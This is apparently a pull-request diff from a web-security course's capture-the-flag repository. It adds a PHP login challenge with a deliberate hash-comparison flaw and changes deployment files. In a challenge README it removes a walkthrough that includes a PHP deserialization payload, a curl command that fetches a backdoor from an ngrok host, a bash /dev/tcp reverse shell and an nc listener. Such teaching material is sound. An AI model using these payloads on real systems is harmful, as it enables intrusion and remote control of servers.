Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
<?php

$flag = 'SSS{arr4ys_c4n_b3_n4sty_if_n0t_ch3ck3d}';
$error = '';

if (isset($_POST['submit'])) {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($_POST['username'] == $_POST['password']) {
$error = 'Your password can not be your username!';
} else if (hash('sha256', $_POST['username']) === hash('sha256', $_POST['password'])) {
die($flag);
} else {
$error = 'Invalid credentials!';
}
}
}

?>

<html>
<head>
<title></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
</head>
<body>
<section>
<div class="card mt-5" style="width: 28rem; margin: auto;">
<div class="card-body">
<?php if ($error != ''): ?>
<div class="alert alert-danger" role="alert">
<?php echo $error; ?>
</div>
<?php endif; ?>
<form method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" name="username" class="form-control" id="username">
<!-- TODO: Remove source.phar -->
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" name="password" class="form-control" id="password">
</div>
<input type="submit" class="btn btn-primary" name="submit" value="Login" />
</form>
</div>
</div>
</section>
</body>
</html>
Original file line number Diff line number Diff line change
@@ -1,94 +1,16 @@
# Name: Web: Exotic Attacks: Handy Tool
## Name:

## Vulnerability

LFI + PHP Object Injection / PHP Insecure Object Deserialization + RCE

## Exploit

The exploit involves opening a reverse shell. You'll need to:
1. Create an account on [ngrok](https://ngrok.com/) (also confirm your email address).
2. Install `ngrok` on you machine.
3. Forward your 1234 port using: `ngrok tcp 1234`. A ngrok host and IP will be forwarded to your local port.

The instructions are also available [here](https://securiumsolutions.com/blog/reverse-shell-using-tcp/). Don't close the `ngrok` terminal until we are done.

Now coming back to the challenge.
First, use the **Guess my last name** option.
As in the Romanian cartoon, the correct answer is **Iscusitul**.
After you input it, the server echoes `backup.zip`.

This is the name of an archive left in the server containing a relevant piece of source code.
Access it at `/backup.zip` and decompress it.

The other tools in the web page really do what they say: uppercase the input, unserialize it or trim the whitespace.
You guessed it, the handy one is **Unserialize**.

After inspecting the source code in the archive, you see what the serialized input object should look like.
It has to be a PHP class with two attributes:
* `$condition` - boolean with the value `true`
* `$prop` - a string you can use for remote code execution on the server

Since the actual output of the command is not shown, only the unserialized string, you should try to create a reverse shell.

I started a Flask app on my internal port where, if accessed, I return a piece of PHP code that spawns a reverse shell to my machine.
Make sure to update the ngrok host and port.
You can run the server with: `python app.py`:

```python
from flask import Flask, make_response

app = Flask(__name__)
Web: Exotic-attacks
Title: Handy-tools

NGROK_HOST = "" # TODO: ngrok host
NGROK_PORT = 0 # TODO: ngrok port
INTERNAL_PORT = 1234
## Description

@app.route("/", methods=['GET'])
def index():
code = '''<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'");''' % (NGROK_HOST, NGROK_PORT)
Get the flag from [handy-tools](http://141.85.224.105:8004/handy-tools/).

return make_response(code)


if __name__ == "__main__":
app.run(host="0.0.0.0", debug=True, port=INTERNAL_PORT)
```

I created a PHP class with a command that performs a request to my server and saves the output to `backdoor.php`.
I created the serialized input.
Make sure to update the ngrok host and port.

```php
<?php
$NGROK_HOST = ""; // TODO: ngrok host
$NGROK_PORT = 0; // TODO: ngrok port

class PHPClass
{
public $condition = true;
public $prop = "system('curl http://".$NGROK_HOST.":".$NGROK_PORT" -o backdoor.php');";
}

echo urlencode(serialize(new PHPClass));
?>
```

You can run this file in command line with: `php payload.php`.
The serialized payload is:

`O:8:"PHPClass":2:{s:9:"condition";b:1;s:4:"prop";s:54:"system('curl http://<ngrok host>:<ngrok port> -o backdoor.php');";}`

After you input it on the server, the file `/backdoor.php` is created and you can access it.

In the meantime, the Flask server on your machine won't support this reverse shell.
You need to close it and open a simple netcat connection to your internal port before you access the backdoor:

`nc -nlvk 1234`
## Vulnerability

Now access `/backdoor.php` in the browser and you should have a shell in the `nc` terminal.
LFI + PHP Object Injection / PHP Insecure Object Deserialization + RCE

Find the flag file and perform a `cat` on it; it should be in `home/ctf/`: `cat /home/ctf/flag.txt`.
## Exploit

Exploit in `../sol/solution.sh`.
Exploit in `./sol/solution.sh`.
Original file line number Diff line number Diff line change
@@ -1,13 +1,19 @@
FLAG := $(shell cat ../flag)
EXTERNAL_PORT := 8004
INTERNAL_PORT := 80
NAME := sss-web-08_handy-tool

run: build
docker run -d -p 8004:80 --name sss-web-08_handy-tool sss-web-08_handy-tool
docker run -d -p $(EXTERNAL_PORT):$(INTERNAL_PORT) --name $NAME $NAME

build:
docker build -f Dockerfile -t sss-web-08_handy-tool ..
# docker build --build-arg FLAG=$(FLAG) -f Dockerfile -t $NAME ..
docker build -f Dockerfile -t $NAME ..

stop:
docker stop sss-web-08_handy-tool
docker stop $NAME

clean: stop
docker rm sss-web-08_handy-tool
docker rm $NAME

.PHONY: build run stop clean
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
namespace: exotic-attacks

challenge:
name: handy-tool
category: exotic-attacks

image:
repository: ghcr.io/open-education-hub/web-security/exotic-attacks/activities/handy-tool
tag: latest
pullPolicy: Always

containerPort: 80

service:
type: NodePort
port: 80
nodePort: 8004

healthCheck:
enabled: true
path: "/_healthcheck"
initialDelaySeconds: 5
periodSeconds: 15
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,12 @@ function __wakeup() {
<small class="form-text text-muted"></small>
</div>
<?php
if ($_SERVER['REQUEST_URI'] === '/_healthcheck') {
http_response_code(200);
header('Content-Type: text/plain');
echo "OK";
exit;
}
if (isset($_GET['tool']) && $_GET['tool'] == 'toupper') {
echo var_dump(strtoupper($_GET['input']));
echo "<br>"; echo "<br>"; echo "<br>";
Expand Down